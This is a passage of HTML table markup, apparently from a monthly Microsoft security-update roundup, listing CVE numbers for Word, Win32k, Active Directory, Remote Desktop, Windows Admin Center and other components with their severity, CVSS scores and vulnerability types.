  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
